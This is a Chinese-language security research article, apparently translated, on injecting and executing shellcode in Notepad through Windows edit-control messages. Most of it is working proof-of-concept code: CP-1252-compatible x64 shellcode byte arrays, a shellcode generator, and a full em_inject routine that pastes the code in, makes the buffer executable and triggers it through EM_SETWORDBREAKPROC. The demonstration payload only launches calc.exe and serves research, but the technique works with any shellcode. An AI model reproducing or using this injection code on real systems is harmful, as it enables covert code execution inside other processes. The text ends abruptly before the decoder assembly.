0x00 介绍
2002年8月，Kristin Paget首次描述了“Shatter attacks”（粉碎攻击），使用Windows消息实现特权提升。在早期的示例中，演示了如何使用WM_SETTEXT实现代码注入，并使用WM_TIMER执行代码的过程。Microsoft在2002年12月发布补丁尝试修复这一问题，而在此之后Oliver Lavery又演示了EM_SETWORDBREAKPROC如何执行代码。Kristin Paget在2003年8月发表了一篇后续文章和演示文稿，描述了其他有关代码重定向的问题。Brett Moore还在2003年10月发表了一篇论文，其中包含可以用于注入和重定向的所有消息的完整列表。
如果不关注Windows本身的设计，就可能会发生Shatter攻击，原因有两个：共享同一个交互式桌面的进程之间没有隔离，并且允许代码从栈和堆中运行。从Windows Vista和Windows Server 2008开始，用户界面特权隔离（UIPI）功能通过定义一组UI特权级别来解决其中的第一个问题，以防止低特权进程将消息发送至高特权进程。而在较早就引入到Windows XP Service Pack 2中的数据执行保护（DEP）功能解决了第二个问题。如果同时启用这两个功能，Shatter攻击将不再有效。尽管DEP和UIPI阻止了Shatter攻击，但它们并不会阻止使用窗口消息实现代码注入。
ESET最近发表了一篇有关Invisimole恶意软件的文章，引起了人们对其使用LVM_SETITEMPOSITION和LVM_GETITEMPOSITION实现注入，并使用LVM_SORTITEMS实现执行的关注。使用LVM_SORTITEMS执行代码最初是Kristin Paget在Blackhat 2003上首先提出的，后来由Adam重新发现。PoC代码已经在此前的博客文章中发布过，并且Csaba Fitzl也写过该漏洞的PoC。
在本文中，我编写了一个新的PoC，可以执行以下操作：
1、使用剪贴板和WM_PASTE消息，将代码注入到记事本进程中；
2、使用EM_GETHANDLE消息和ReadProcessMemory获取我们的代码的缓冲区地址；
3、使用VirtualProtectEx将内存权限从读写更改为读写执行；
4、使用EM_SETWORDBREAKPROC和WM_LBUTTONDBLCLK执行Shellcode。
尽管使用了VirtualProtectEx，但还是可能在禁用DEP的情况下运行记事本。还需要指出的是，这里的Shellcode是针对CP-1251编码而设计的，并非UTF-8编码，因此PoC可能无法在所有系统上运行。注入的方法将会成功，但是在转换为Unicode后，记事本可能会出现崩溃。
0x01 编辑控件
Adam在“Talking to, and handling (edit) boxes”文章中写道，通过编辑控件，并使用EM_GETHANDLE，可以获得代码存储位置的地址。以记事本为例，可以打开一个包含可执行代码的文件，或者使用剪贴板和WM_PASTE消息注入到记事本中。
要显示编辑控件输入存储在内存中的位置，可以运行笔记本，并输入“modexp”。使用WinDbg打开并输入以下命令：!address /f:Heap /c:”s -u %1 %2 ”modexp””。这样一来，将会在堆内存中搜索Unicode字符串“modexp”。为什么要使用Unicode？因为从Comctl32.dll的版本6开始，控件就仅使用Unicode。下图展示了该命令的输出结果。
在内存中搜索记事本的字符串：
要读取编辑控件具柄，我们可以将EM_GETHANDLE发送到窗口句柄。或者，我们可以使用GetWindowLongPtr(0)和ReadProcessMemory(ULONG_PTR)，但是EM_GETHANDLE则是在一次调用中直接完成。下图展示了执行以下代码的结果。
hw = FindWindow("Notepad", NULL);
hw = FindWindowEx(hw, NULL, "Edit", NULL);
emh = (PVOID)SendMessage(hw, EM_GETHANDLE, 0, 0);
printf("EM Handle : %pn", emh);
EM_GETHANDLE返回的内存指针：
该句柄指向分配给输入的缓冲区，如下图所示。
为输入分配的缓冲区：
由于输入是以Unicode格式存储的，因此无法将任何Shellcode复制到剪贴板并粘贴到编辑控件中。在我的系统上，记事本使用CP_ACP代码页（使用Windows-1252，即CP-1252编码）将剪贴板数据转换为Unicode。CP-1252是单字节字符集，默认情况下在Microsoft Windows的旧版本组件中使用，用于拉丁字母衍生的语言。记事本在收到WM_PASTE消息后，它将以CF_UNICODETEXT作为格式，调用GetClipboardData()。在内部，这个过程会调用GetClipboardCodePage()，在我的系统上该函数将返回CP_ACP，然后再调用MultiByteToWideChar()将文本转换为Unicode格式。包含在[0x80, 0x8C]、[0x91, 0x9C]范围内的字符，或者等于0x8E、0x9E、0x9F的字符将转换为双字节字符编码。对于UTF-8来说，只能使用[0x01, 0x7F]范围内的字节。
0x02 编写CP-1252兼容代码
我们先来看一下x86/x64指令，这些指令可以在使用CP_ACP作为代码页的MultiByteToWideChar()转换后安全使用。
2.1 初始化
在整个代码中，我们将看到以下内容。
"x00x4dx00" /* add byte [rbp], cl */
我们可以将其视为NOP指令，因为它仅用于在其他指令之间插入空字节，以便最终汇编代码与CP-1252兼容。使用BP需要三个字节，几乎可以立即使用。
实际上，最后一部分的描述并不正确。对于32位模式，创建栈帧是任何过程中通常要做的一件事，在以前针对Unicode Shellcode的研究人员正确地假设了BP包含堆栈指针（SP）的值。除非BP被意外覆盖，否则在32位系统上使用此指令进行的任何写操作都不会引起异常。但是，对于64位则不能一概而论，要取决于编译器通常避免使用BP来寻址局部变量。因此，在执行其他任何操作之前，我们必须先将SP复制到BP。在1-5个字节的限制范围内，我认为唯一可用的指令就是ENTER。我们要做的另一件事就是将AL设置为0，这样我们就不会覆盖RBP包含的堆栈地址上的任何内容。接下来是分配256字节的内存，并将SP复制到BP。
; ************************* prolog
mov al, 0
enter 256, 0
; save rbp
push rbp
add [rbp], al
; create local variable for rbp
push 0
push rsp
add [rbp], al
pop rbp
add [rbp], cl
如果我们检查EDITWORDBREAKPROCA回调函数，可以看到lpch是指向编辑控件文本的指针。
EDITWORDBREAKPROCA EDITWORDBREAKPROCA;
int EDITWORDBREAKPROCA(
LPSTR lpch,
int ichCurrent,
int cch,
int code
)
{...}
如果大家熟悉Microsoft针对x64模式的fastcall约定，那么我们就知道前四个参数位于RCX、RDX、R8和R9中。该回调会将lpch加载到RCX中，以后将非常有用。
2.2 将RAX设置为0
PUSH 0在堆栈上创建一个局部变量，并对其赋值为0。然后，将变量使用POP RAX加载。
"x6ax00" /* push 0 */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
将0xFF00FF00复制到EAX。减去0xFF00FF00。需要注意的是，这些操作会将RAX的高32位清零，并且不足以与内存地址进行加法和减法运算。
"xb8x00xffx00xff" /* mov eax, 0xff00ff00 */
"x00x4dx00" /* add byte [rbp], cl */
"x2dx00xffx00xff" /* sub eax, 0xff00ff00 */
"x00x4dx00" /* add byte [rbp], cl */
将0xFF00FF00复制到EAX，与0xFF00FF00按位异或。
"xb8x00xffx00xff" /* mov eax, 0xff00ff00 */
"x00x4dx00" /* add byte [rbp], cl */
"x35x00xffx00xff" /* xor eax, 0xff00ff00 */
"x00x4dx00" /* add byte [rbp], cl */
将0xFF00FF00复制到EAX，与0x01000100按位与。
"xb8x00xfex00xfe" /* mov eax, 0xfe00fe00 */
"x00x4dx00" /* add byte [rbp], cl */
"x25x00x01x00x01" /* and eax, 0x01000100 */
"x00x4dx00" /* add byte [rbp], cl */
2.3 将RAX设置为1
PUSH 0创建一个我们称为X的局部变量，并将其值指定为0。PUSH RSP创建一个我们称为A的局部变量，并指定X的地址。POP RAX将A加载到RAX寄存器中。INC DWORD[RAX]将1分配给X。POP RAX将X加载到RAX寄存器中。
"x6ax00" /* push 0 */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"xffx00" /* inc dword [rax] */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
PUSH 0创建一个我们称为X的局部变量，并将其值指定为0。PUSH RSP创建一个我们称为A的局部变量，并指定X的地址。POP RAX将A加载到RAX寄存器中。MOV BYTE[RAX], 1将1分配给X。POP RAX将X加载到RAX寄存器中。
"x6ax00" /* push 0 */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"xc6x00x01" /* mov byte [eax], 1 */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
2.4 将RAX设置为-1
PUSH 0创建一个我们称为X的局部变量，并将其值指定为0。POP RCX将X加载到RCX寄存器中。LOOP $+2使RCX减小1，得到-1。PUSH RCX在堆栈上存储-1，POP RAX将RAX设置为-1。
"x6ax00" /* push 0 */
"x59" /* pop rcx */
"x00x4dx00" /* add byte [rbp], cl */
"xe2x00" /* loop $+2 */
"x34x00" /* xor al, 0 */
"x51" /* push rcx */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
PUSH 0创建一个我们称为X的局部变量，并将其值指定为0。PUSH RSP创建一个我们称为A的局部变量，并指定为X的地址。POP RAX将A加载到RAX寄存器中。MOV BYTE[RAX], 1将1分配给X。IMUL EAX, DWORD[RAX], -1将X乘以-1，并将结果存储在EAX中。
"x6ax00" /* push 0 */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"xffx00" /* inc dword [rax] */
"x6bx00xff" /* imul eax, dword [rax], -1 */
"x00x4dx00" /* add byte [rbp], cl */
"x59" /* pop rcx */
2.5 加载和存储数据
从上述示例可以看出，将寄存器初始化为0、1或-1是完全可以的。要想加载任意数据却有些棘手，但是我们可以通过一些方法来发挥创意。
例如，将EAX设置为0x12345678。
"xb8x78x56x34x12" /* mov eax, 0x12345678 */
这里，将使用IMUL，将EAX设置为0x00340078，随后与0x12005600进行异或。
"x6ax00" /* push 0 */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"xffx00" /* inc dword [rax] */
"x69x00x78x00x34x00" /* imul eax, dword [rax], 0x340078 */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"x35x00x56x00x12" /* xor eax, 0x12005600 */
通过将0存储在堆栈中，创建一个名为X的局部变量。创建一个名为A的局部变量，其中包含X的地址。将A加载到RAX中。使用MOV DWORD[RAX], 0x00340078将0x00340078存储到X中。将X加载到RAX中。将EAX与0x12005600进行异或。现在，EAX的值就是0x12345678。
"x6ax00" /* push 0 */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"xc7x00x78x00x34x00" /* mov dword [rax], 0x340078 */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"x35x00x56x00x12" /* xor eax, 0x12005600 */
"x00x4dx00" /* add byte [rbp], cl */
使用左旋转（ROX）的另一种方法。
"x68x00x78x00x34" /* push 0x34007800 */
"x00x4dx00" /* add byte [rbp], cl */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"xc1x00x18" /* rol dword [rax], 0x18 */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"x35x00x56x00x12" /* xor eax, 0x12005600 */
"x00x4dx00" /* add byte [rbp], cl */
使用MOV和ROL的另一个示例。
"x68x00x56x00x12" /* push 0x12005600 */
"x00x4dx00" /* add byte [rbp], cl */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
"xc6x00x78" /* mov byte [rax], 0x78 */
"x00x4dx00" /* add byte [rbp], cl */
"xc1x00x10" /* rol dword [rax], 0x10 */
"x00x4dx00" /* add byte [rbp], cl */
"xc6x00x34" /* mov byte [rax], 0x34 */
"x00x4dx00" /* add byte [rbp], cl */
"xc1x00x10" /* rol dword [rax], 0x10 */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
最后一个示例使用了MOV、ADD、SCASB，并将缓冲区的地址存储在RDI中。
"x6ax00" /* push 0 */
"x54" /* push rsp */
"x00x4dx00" /* add byte [rbp], cl */
"x5f" /* pop rdi */
"x00x4dx00" /* add byte [rbp], cl */
"xb8x00x12x00xff" /* mov eax, 0xff001200 */
"x00x4dx00" /* add byte [rbp], cl */
"xbbx00x34x00xff" /* mov ebx, 0xff003400 */
"x00x4dx00" /* add byte [rbp], cl */
"xb9x00x56x00xff" /* mov ecx, 0xff005600 */
"x00x4dx00" /* add byte [rbp], cl */
"xbax00x78x00xff" /* mov edx, 0xff007800 */
"x00x27" /* add byte [rdi], ah */
"x00x4dx00" /* add byte [rbp], cl */
"xae" /* scasb */
"x00x3f" /* add byte [rdi], bh */
"x00x4dx00" /* add byte [rbp], cl */
"xae" /* scasb */
"x00x2f" /* add byte [rdi], ch */
"x00x4dx00" /* add byte [rbp], cl */
"xae" /* scasb */
"x00x37" /* add byte [rdi], dh */
"x00x4dx00" /* add byte [rbp], cl */
"x58" /* pop rax */
"x00x4dx00" /* add byte [rbp], cl */
2.6 双字节指令
如果我们只需要包含一个空字节的双字节指令，则可以考虑以下的操作。对于分支指令，无论条件是真还是假，该指令始终分支到下一个地址。如果要从地址中减去1，那么循环指令可能很有帮助。要将地址增加1或4，可以将其复制到RDI中并使用SCASB或SCASD。如果在地址RSI中，也可以使用LODSB或LODSD，但需要注意的是它们分别覆盖了AL和EAX。
; logic
or al, 0
xor al, 0
and al, 0
; arithmetic
add al, 0
adc al, 0
sbb al, 0
sub al, 0
; comparison predicates
cmp al, 0
test al, 0
; data transfer
mov al, 0
mov ah, 0
mov bl, 0
mov bh, 0
mov cl, 0
mov ch, 0
mov dl, 0
mov dh, 0
; branches
jmp $+2
jo $+2
jno $+2
jb $+2
jae $+2
je $+2
jne $+2
jbe $+2
ja $+2
js $+2
jns $+2
jp $+2
jnp $+2
jl $+2
jge $+2
jle $+2
jg $+2
jrcxz $+2
loop $+2
loope $+2
loopne $+2
2.7 前缀代码
其中的一些前缀可以用于填充指令。我所测试的唯一指令是8位操作。
0x2E、0x3E：分支提示对任何奔腾4以上的设备都没有影响。在指令之间的1字节空间是无害的。
0xF0：LOCK前缀，可确保指令具有对所有共享内存的独有权，直至指令执行完成为止。
0xF2、0xF3：REP（0xF2）告诉CPU重复执行诸如MOVS、STOS、CMPS、SCAS这样的字符串操作命令，直到RCX为0为止。REPNE（0xF3）重复执行，直到RCX为0或零标志（ZF）为止。
0x26、0x2E、0x36、0x3E、0x64、0x65：附加段（ES）（0x26）前缀用于字符串操作的目标。所有指令的代码段（CS）（0x2E）与分支提示相同，并且无效。堆栈段（0x36）用于通过PUSH/POP等指令存储和加载局部变量。数据段（DS）（0x3E）用于除堆栈外的所有数据引用，也与分支提示相同，没有影响。FS（0x64）和GS（0x65）没有指定，但我们可以看到，它们用于访问Windows上的线程环境块（TEB）或Linux上的线程本地存储（TLS）。
0x66、0x67：用于覆盖PUSH/POP或MOV在32位模式下数据类型的默认大小。NASM/YASM使用a16、a32、o16和o32支持操作数大小（0x66）和操作数地址（0x67）前缀。
0x40-0x4F：64位模式的REX前缀。
0x03 生成Shellcode
在我们编写Shellcode时，还有一些因素需要考虑。
1、保留所有的非易失性寄存器，包括RSI、RDI、RBP和RBX。
2、为homespace分配32个字节，我们调用的任何API都将用到它。
3、调用API之前，需确保SP的值与16字节减去8对齐。
一些API会使用SIMD指令，通常用于小数据块的memcpy()或memset()。为了获得最佳性能，访问的数据必需对其16个字节。如果堆栈指针未对齐，并且使用SIMD指令读取或写入SP，将会导致未处理的异常。由于我们无法使用CALL指令，因此就会使用RET，一旦执行后，将从堆栈中删除API地址。如果这个时候没有按照16字节对齐，那就麻烦了。
使用前面的示例，以下代码将构造一个与CP-1252兼容的Shellcode，以使用kernel32!WinExec()来执行calc.exe。这一过程仅仅是为了演示通过记事本编辑控件的注入过程可以成功。
// the max address for virtual memory on
// windows is (2 ^ 47) - 1 or 0x7FFFFFFFFFFF
#define MAX_ADDR 6
// only useful for CP_ACP codepage
static
int is_cp1252_allowed(int ch) {
// zero is allowed, but we can't use it for the clipboard
if(ch == 0) return 0;
// bytes converted to double byte characters
if(ch >= 0x80 && ch <= 0x8C) return 0;
if(ch >= 0x91 && ch <= 0x9C) return 0;
return (ch != 0x8E && ch != 0x9E && ch != 0x9F);
}
// Allocate 64-bit buffer on the stack.
// Then place the address in RDI for writing.
#define STORE_ADDR_SIZE 10
char STORE_ADDR[] = {
/* 0000 */ "x6ax00" /* push 0 */
/* 0002 */ "x54" /* push rsp */
/* 0003 */ "x00x5dx00" /* add byte [rbp], cl */
/* 0006 */ "x5f" /* pop rdi */
/* 0007 */ "x00x5dx00" /* add byte [rbp], cl */
};
// Load an 8-Bit immediate value into AH
#define LOAD_BYTE_SIZE 5
char LOAD_BYTE[] = {
/* 0000 */ "xb8x00xffx00x4d" /* mov eax, 0x4d00ff00 */
};
// Subtract 32 from AH
#define SUB_BYTE_SIZE 8
char SUB_BYTE[] = {
/* 0000 */ "x00x5dx00" /* add byte [rbp], cl */
/* 0003 */ "x2dx00x20x00x5d" /* sub eax, 0x4d002000 */
};
// Store AH in buffer and advance RDI by 1
#define STORE_BYTE_SIZE 9
char STORE_BYTE[] = {
/* 0000 */ "x00x27" /* add byte [rdi], ah */
/* 0002 */ "x00x5dx00" /* add byte [rbp], cl */
/* 0005 */ "xae" /* scasb */
/* 0006 */ "x00x5dx00" /* add byte [rbp], cl */
};
// Transfers control of execution to kernel32!WinExec
#define RET_SIZE 2
char RET[] = {
/* 0000 */ "xc3" /* ret */
/* 0002 */ "x00"
};
#define CALC3_SIZE 164
#define RET_OFS 0x20 + 2
char CALC3[] = {
/* 0000 */ "xb0x00" /* mov al, 0 */
/* 0002 */ "xc8x00x01x00" /* enter 0x100, 0 */
/* 0006 */ "x55" /* push rbp */
/* 0007 */ "x00x45x00" /* add byte [rbp], al */
/* 000A */ "x6ax00" /* push 0 */
/* 000C */ "x54" /* push rsp */
/* 000D */ "x00x45x00" /* add byte [rbp], al */
/* 0010 */ "x5d" /* pop rbp */
/* 0011 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0014 */ "x57" /* push rdi */
/* 0015 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0018 */ "x56" /* push rsi */
/* 0019 */ "x00x4dx00" /* add byte [rbp], cl */
/* 001C */ "x53" /* push rbx */
/* 001D */ "x00x4dx00" /* add byte [rbp], cl */
/* 0020 */ "xb8x00x4dx00xff" /* mov eax, 0xff004d00 */
/* 0025 */ "x00xe1" /* add cl, ah */
/* 0027 */ "x00x4dx00" /* add byte [rbp], cl */
/* 002A */ "xb8x00x01x00xff" /* mov eax, 0xff000100 */
/* 002F */ "x00xe5" /* add ch, ah */
/* 0031 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0034 */ "x51" /* push rcx */
/* 0035 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0038 */ "x5b" /* pop rbx */
/* 0039 */ "x00x4dx00" /* add byte [rbp], cl */
/* 003C */ "x6ax00" /* push 0 */
/* 003E */ "x54" /* push rsp */
/* 003F */ "x00x4dx00" /* add byte [rbp], cl */
/* 0042 */ "x5f" /* pop rdi */
/* 0043 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0046 */ "x57" /* push rdi */
/* 0047 */ "x00x4dx00" /* add byte [rbp], cl */
/* 004A */ "x59" /* pop rcx */
/* 004B */ "x00x4dx00" /* add byte [rbp], cl */
/* 004E */ "x6ax00" /* push 0 */
/* 0050 */ "x54" /* push rsp */
/* 0051 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0054 */ "x58" /* pop rax */
/* 0055 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0058 */ "xc7x00x63x00x6cx00" /* mov dword [rax], 0x6c0063 */
/* 005E */ "x58" /* pop rax */
/* 005F */ "x00x4dx00" /* add byte [rbp], cl */
/* 0062 */ "x35x00x61x00x63" /* xor eax, 0x63006100 */
/* 0067 */ "x00x4dx00" /* add byte [rbp], cl */
/* 006A */ "xab" /* stosd */
/* 006B */ "x00x4dx00" /* add byte [rbp], cl */
/* 006E */ "x6ax00" /* push 0 */
/* 0070 */ "x54" /* push rsp */
/* 0071 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0074 */ "x58" /* pop rax */
/* 0075 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0078 */ "xc6x00x05" /* mov byte [rax], 5 */
/* 007B */ "x00x4dx00" /* add byte [rbp], cl */
/* 007E */ "x5a" /* pop rdx */
/* 007F */ "x00x4dx00" /* add byte [rbp], cl */
/* 0082 */ "x53" /* push rbx */
/* 0083 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0086 */ "x6ax00" /* push 0 */
/* 0088 */ "x6ax00" /* push 0 */
/* 008A */ "x6ax00" /* push 0 */
/* 008C */ "x6ax00" /* push 0 */
/* 008E */ "x6ax00" /* push 0 */
/* 0090 */ "x53" /* push rbx */
/* 0091 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0094 */ "x90" /* nop */
/* 0095 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0098 */ "x90" /* nop */
/* 0099 */ "x00x4dx00" /* add byte [rbp], cl */
/* 009C */ "x90" /* nop */
/* 009D */ "x00x4dx00" /* add byte [rbp], cl */
/* 00A0 */ "x90" /* nop */
/* 00A1 */ "x00x4dx00" /* add byte [rbp], cl */
};
#define CALC4_SIZE 79
#define RET_OFS2 0x18 + 2
char CALC4[] = {
/* 0000 */ "x59" /* pop rcx */
/* 0001 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0004 */ "x59" /* pop rcx */
/* 0005 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0008 */ "x59" /* pop rcx */
/* 0009 */ "x00x4dx00" /* add byte [rbp], cl */
/* 000C */ "x59" /* pop rcx */
/* 000D */ "x00x4dx00" /* add byte [rbp], cl */
/* 0010 */ "x59" /* pop rcx */
/* 0011 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0014 */ "x59" /* pop rcx */
/* 0015 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0018 */ "xb8x00x4dx00xff" /* mov eax, 0xff004d00 */
/* 001D */ "x00xe1" /* add cl, ah */
/* 001F */ "x00x4dx00" /* add byte [rbp], cl */
/* 0022 */ "x51" /* push rcx */
/* 0023 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0026 */ "x58" /* pop rax */
/* 0027 */ "x00x4dx00" /* add byte [rbp], cl */
/* 002A */ "xc6x00xc3" /* mov byte [rax], 0xc3 */
/* 002D */ "x00x4dx00" /* add byte [rbp], cl */
/* 0030 */ "x59" /* pop rcx */
/* 0031 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0034 */ "x5b" /* pop rbx */
/* 0035 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0038 */ "x5e" /* pop rsi */
/* 0039 */ "x00x4dx00" /* add byte [rbp], cl */
/* 003C */ "x5f" /* pop rdi */
/* 003D */ "x00x4dx00" /* add byte [rbp], cl */
/* 0040 */ "x59" /* pop rcx */
/* 0041 */ "x00x4dx00" /* add byte [rbp], cl */
/* 0044 */ "x6ax00" /* push 0 */
/* 0046 */ "x58" /* pop rax */
/* 0047 */ "x00x4dx00" /* add byte [rbp], cl */
/* 004A */ "x5c" /* pop rsp */
/* 004B */ "x00x4dx00" /* add byte [rbp], cl */
/* 004E */ "x5d" /* pop rbp */
};
static
u8* cp1252_generate_winexec(int pid, int *cslen) {
int i, ofs, outlen;
u8 *cs, *out;
HMODULE m;
w64_t addr;
// it won't exceed 512 bytes
out = (u8*)cs = VirtualAlloc(
NULL, 4096,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// initialize parameters for WinExec()
memcpy(out, CALC3, CALC3_SIZE);
out += CALC3_SIZE;
// initialize RDI for writing
memcpy(out, STORE_ADDR, STORE_ADDR_SIZE);
out += STORE_ADDR_SIZE;
// ***********************************
// store kernel32!WinExec on stack
m = GetModuleHandle("kernel32");
addr.q = ((PBYTE)GetProcAddress(m, "WinExec") - (PBYTE)m);
m = GetProcessModuleHandle(pid, "kernel32.dll");
addr.q += (ULONG_PTR)m;
for(i=0; i<MAX_ADDR; i++) {
// load a byte into AH
memcpy(out, LOAD_BYTE, LOAD_BYTE_SIZE);
out[2] = addr.b[i];
// if byte not allowed for CP1252, add 32
if(!is_cp1252_allowed(out[2])) {
out[2] += 32;
// subtract 32 from byte at runtime
memcpy(&out[LOAD_BYTE_SIZE], SUB_BYTE, SUB_BYTE_SIZE);
out += SUB_BYTE_SIZE;
}
out += LOAD_BYTE_SIZE;
// store AH in [RDI], increment RDI
memcpy(out, STORE_BYTE, STORE_BYTE_SIZE);
out += STORE_BYTE_SIZE;
}
// calculate length of constructed code
ofs = (int)(out - (u8*)cs) + 2;
// first offset
cs[RET_OFS] = (uint8_t)ofs;
memcpy(out, RET, RET_SIZE);
out += RET_SIZE;
memcpy(out, CALC4, CALC4_SIZE);
// second offset
ofs = CALC4_SIZE;
((u8*)out)[RET_OFS2] = (uint8_t)ofs;
out += CALC4_SIZE;
outlen = ((int)(out - (u8*)cs) + 1) & -2;
// convert to ascii
for(i=0; i<=outlen; i+=2) {
cs[i/2] = cs[i];
}
*cslen = outlen / 2;
// return pointer to code
return cs;
}
0x04 注入和执行Shellcode
我们使用以下步骤。
1、执行notepad.exe，并获取编辑控件的窗口句柄；
2、使用EM_GETHANDLE消息获取编辑控件句柄；
3、生成大于等于Shellcode大小的文本，然后将其复制到剪贴板；
4、将NULL指针分配给lastbuf；
5、如果lastbuf和embuf相等，跳转到第9步；
6、使用WM_SETSEL和WM_CLEAR清除内存缓冲区；
7、将WM_PASTE消息发送到编辑控件窗口句柄，等待1秒钟，然后跳转到步骤5；
8、将embuf设置为PAGE_EXECUTE_READWRITE；
9、生成与CP-1252兼容的Shellcode并复制到剪贴板；
10、使用EM_SETWORDBREAKPROC将编辑控件分词函数设置为embuf；
11、使用WM_LBUTTONDBLCLK触发Shellcode的执行。
BOOL em_inject(void) {
HWND npw, ecw;
w64_t emh, lastbuf, embuf;
SIZE_T rd;
HANDLE hp;
DWORD cslen, pid, old;
BOOL r;
PBYTE cs;
char buf[1024];
// get window handle for notepad class
npw = FindWindow("Notepad", NULL);
// get window handle for edit control
ecw = FindWindowEx(npw, NULL, "Edit", NULL);
// get the EM handle for the edit control
emh.p = (PVOID)SendMessage(ecw, EM_GETHANDLE, 0, 0);
// get the process id for the window
GetWindowThreadProcessId(ecw, &pid);
// open the process for reading and changing memory permissions
hp = OpenProcess(PROCESS_VM_READ | PROCESS_VM_OPERATION, FALSE, pid);
// copy some test data to the clipboard
memset(buf, 0x4d, sizeof(buf));
CopyToClipboard(CF_TEXT, buf, sizeof(buf));
// loop until target buffer address is stable
lastbuf.p = NULL;
r = FALSE;
for(;;) {
// read the address of input buffer
ReadProcessMemory(hp, emh.p,
&embuf.p, sizeof(ULONG_PTR), &rd);
// Address hasn't changed? exit loop
if(embuf.p == lastbuf.p) {
r = TRUE;
break;
}
// save this address
lastbuf.p = embuf.p;
// clear the contents of edit control
SendMessage(ecw, EM_SETSEL, 0, -1);
SendMessage(ecw, WM_CLEAR, 0, 0);
// send the WM_PASTE message to the edit control
// allow notepad some time to read the data from clipboard
SendMessage(ecw, WM_PASTE, 0, 0);
Sleep(WAIT_TIME);
}
if(r) {
// set buffer to RWX
VirtualProtectEx(hp, embuf.p, 4096, PAGE_EXECUTE_READWRITE, &old);
// generate shellcode and copy to clipboard
cs = cp1252_generate_winexec(pid, &cslen);
CopyToClipboard(CF_TEXT, cs, cslen);
// clear buffer and inject shellcode
SendMessage(ecw, EM_SETSEL, 0, -1);
SendMessage(ecw, WM_CLEAR, 0, 0);
SendMessage(ecw, WM_PASTE, 0, 0);
Sleep(WAIT_TIME);
// set the word break procedure to address of shellcode and execute
SendMessage(ecw, EM_SETWORDBREAKPROC, 0, (LPARAM)embuf.p);
SendMessage(ecw, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a);
SendMessage(ecw, EM_SETWORDBREAKPROC, 0, (LPARAM)NULL);
// set buffer to RW
VirtualProtectEx(hp, embuf.p, 4096, PAGE_READWRITE, &old);
}
CloseHandle(hp);
return r;
}
0x05 演示
记事本不会因为运行Shellcode而崩溃。在线程结束后，演示程序将会终止它。
演示视频：https://videopress.com/v/wyrPJIZZ
0x06 编码任意数据
编码数据和代码需要不同的解决方案。针对无法执行的原始数据，需要从中删除“错误的字符”，代码必须在转换之后能成功执行，这一点在实际中很难实现。下面的编码和解码算法，都是基于有关删除Shellcode中的空字符的先前研究。
6.1 编码
1、从输入文件或流中读取一个字节，然后分配给X；
2、如果允许X+1，跳转到步骤6；
3、将转义码（0x01）保存到输出文件或流中；
4、使用8位密钥与X进行异或；
5、将X保存到输输出文件或流，跳转到步骤7；
6、将X+1保存到输出文件或流；
7、重复步骤1-6，直到EOF。
// encode raw data to CP-1252 compatible data
static
void cp1252_encode(FILE *in, FILE *out) {
uint8_t c, t;
for(;;) {
// read byte
c = getc(in);
// end of file? exit
if(feof(in)) break;
// if the result of c + 1 is disallowed
if(!is_decoder_allowed(c + 1)) {
// write escape code
putc(0x01, out);
// save byte XOR'd with the 8-Bit key
putc(c ^ CP1252_KEY, out);
} else {
// save byte plus 1
putc(c + 1, out);
}
}
}
6.2 解码
1、从输入文件或流中读取一个字节，然后分配给X；
2、如果X不是转义码，跳转到步骤6；
3、从输入文件或流中读取一个字节，然后分配给X；
4、使用8位密钥与X进行异或；
5、将X保存到输出文件或流，跳转到步骤7；
6、将X-1保存到输出文件或流；
7、重复步骤1-6，直到EOF。
// decode data processed with cp1252_encode to their original values
static
void cp1252_decode(FILE *in, FILE *out) {
uint8_t c, t;
for(;;) {
// read byte
c = getc(in);
// end of file? exit
if(feof(in)) break;
// if this is an escape code
if(c == 0x01) {
// read next byte
c = getc(in);
// XOR the 8-Bit key
putc(c ^ CP1252_KEY, out);
} else {
// save byte minus one
putc(c - 1, out);
}
}
}
该程序集与x86架构的32位和64位模式兼容。
; cp1252 decoder in 40 bytes of x86/amd64 assembly
; presumes to be executing in RWX memory
